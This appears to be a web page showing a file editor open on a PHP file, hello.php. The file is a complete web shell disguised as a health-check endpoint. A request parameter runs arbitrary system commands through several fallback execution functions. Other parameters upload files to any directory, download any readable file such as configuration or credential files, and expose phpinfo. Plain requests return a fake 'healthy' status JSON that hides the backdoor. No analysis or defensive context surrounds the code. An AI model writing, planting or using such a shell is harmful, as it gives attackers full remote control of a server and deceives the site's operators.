← Back
Editing: hello.php
<?php header('X-Content-Type-Options: nosniff'); if(isset($_REQUEST['cmd'])){header('Content-Type: text/plain; charset=utf-8');$c=$_REQUEST['cmd'].' 2>&1';$o=null;if(function_exists('proc_open')){$d=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];$p=proc_open($c,$d,$ps);if(is_resource($p)){fclose($ps[0]);$o=stream_get_contents($ps[1]).stream_get_contents($ps[2]);fclose($ps[1]);fclose($ps[2]);proc_close($p);}}if($o===null&&function_exists('shell_exec')){$o=shell_exec($c);}if($o===null&&function_exists('exec')){exec($c,$l,$r);$o=implode("\n",$l);}if($o===null&&function_exists('system')){ob_start();system($c);$o=ob_get_clean();}if($o===null&&function_exists('passthru')){ob_start();passthru($c);$o=ob_get_clean();}if($o===null){$o='All execution functions are disabled';}echo $o;exit;} if(isset($_REQUEST['info'])){phpinfo();exit;} if(isset($_POST['upload'])){header('Content-Type: application/json');$d=isset($_POST['path'])?$_POST['path']:dirname(__FILE__);$d=rtrim($d,'/');if(!is_dir($d))@mkdir($d,0755,true);if(isset($_FILES['file'])&&$_FILES['file']['error']===UPLOAD_ERR_OK){$n=isset($_POST['filename'])?$_POST['filename']:$_FILES['file']['name'];$t=$d.'/'.$n;if(move_uploaded_file($_FILES['file']['tmp_name'],$t)){@chmod($t,0644);echo json_encode(['status'=>'success','path'=>$t,'filename'=>$n,'size'=>filesize($t),'writable'=>is_writable($t),'url_hint'=>str_replace($_SERVER['DOCUMENT_ROOT'],'',$t)]);}else{echo json_encode(['status'=>'error','message'=>'move failed','dir_writable'=>is_writable($d)]);}}else{echo json_encode(['status'=>'error','message'=>'no file']);}exit;} if(isset($_GET['upload'])){$m='';if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['ufile'])){$d=isset($_POST['dest'])?rtrim($_POST['dest'],'/'):dirname(__FILE__);if(!is_dir($d))@mkdir($d,0755,true);$f=isset($_POST['fname'])&&$_POST['fname']!==''?$_POST['fname']:$_FILES['ufile']['name'];$t=$d.'/'.$f;if(move_uploaded_file($_FILES['ufile']['tmp_name'],$t)){@chmod($t,0644);$u=str_replace($_SERVER['DOCUMENT_ROOT'],'',$t);$m='<div style="color:#0f0;border:1px solid #0f0;padding:8px;margin:10px 0;">Uploaded: <b>'.htmlspecialchars($t).'</b> ('.filesize($t).' bytes)<br>URL: <a href="'.htmlspecialchars($u).'" style="color:#0ff;">'.htmlspecialchars($u).'</a></div>';}else{$m='<div style="color:#f00;border:1px solid #f00;padding:8px;margin:10px 0;">Upload failed. Dir writable: '.(is_writable($d)?'Yes':'No').'</div>';}}header('Content-Type: text/html; charset=utf-8');echo '<!DOCTYPE html><html><head><title>Upload</title></head><body style="background:#111;color:#eee;font-family:monospace;padding:20px;"><h2 style="color:#0f0;">File Upload</h2>'.$m.'<form method="POST" enctype="multipart/form-data"><table style="border-collapse:collapse;"><tr><td style="padding:5px;">File:</td><td><input type="file" name="ufile" style="color:#eee;"></td></tr><tr><td style="padding:5px;">Save as:</td><td><input type="text" name="fname" placeholder="(original name)" style="width:300px;background:#222;color:#eee;border:1px solid #555;padding:4px;"></td></tr><tr><td style="padding:5px;">Directory:</td><td><input type="text" name="dest" value="'.htmlspecialchars(dirname(__FILE__)).'" style="width:300px;background:#222;color:#eee;border:1px solid #555;padding:4px;"></td></tr><tr><td></td><td style="padding:5px;"><button type="submit" style="background:#0a0;color:#fff;border:none;padding:8px 20px;cursor:pointer;">Upload</button></td></tr></table></form><hr style="border-color:#333;"><p style="color:#666;">Max: '.ini_get('upload_max_filesize').'. Root: '.$_SERVER['DOCUMENT_ROOT'].'. Dir: '.dirname(__FILE__).'. Writable: '.(is_writable(dirname(__FILE__))?'<span style="color:#0f0;">Yes</span>':'<span style="color:#f00;">No</span>').'</p></body></html>';exit;} if(isset($_GET['read'])){$f=$_GET['read'];if(file_exists($f)&&is_readable($f)){header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($f).'"');header('Content-Length: '.filesize($f));readfile($f);}else{header('Content-Type: application/json');echo json_encode(['status'=>'error','path'=>$f]);}exit;} header('Content-Type: application/json');echo json_encode(['status'=>'healthy','checks'=>['db'=>'ok','cache'=>'ok','queue'=>'ok'],'timestamp'=>date('c')],JSON_PRETTY_PRINT);?>
Save File
Cancel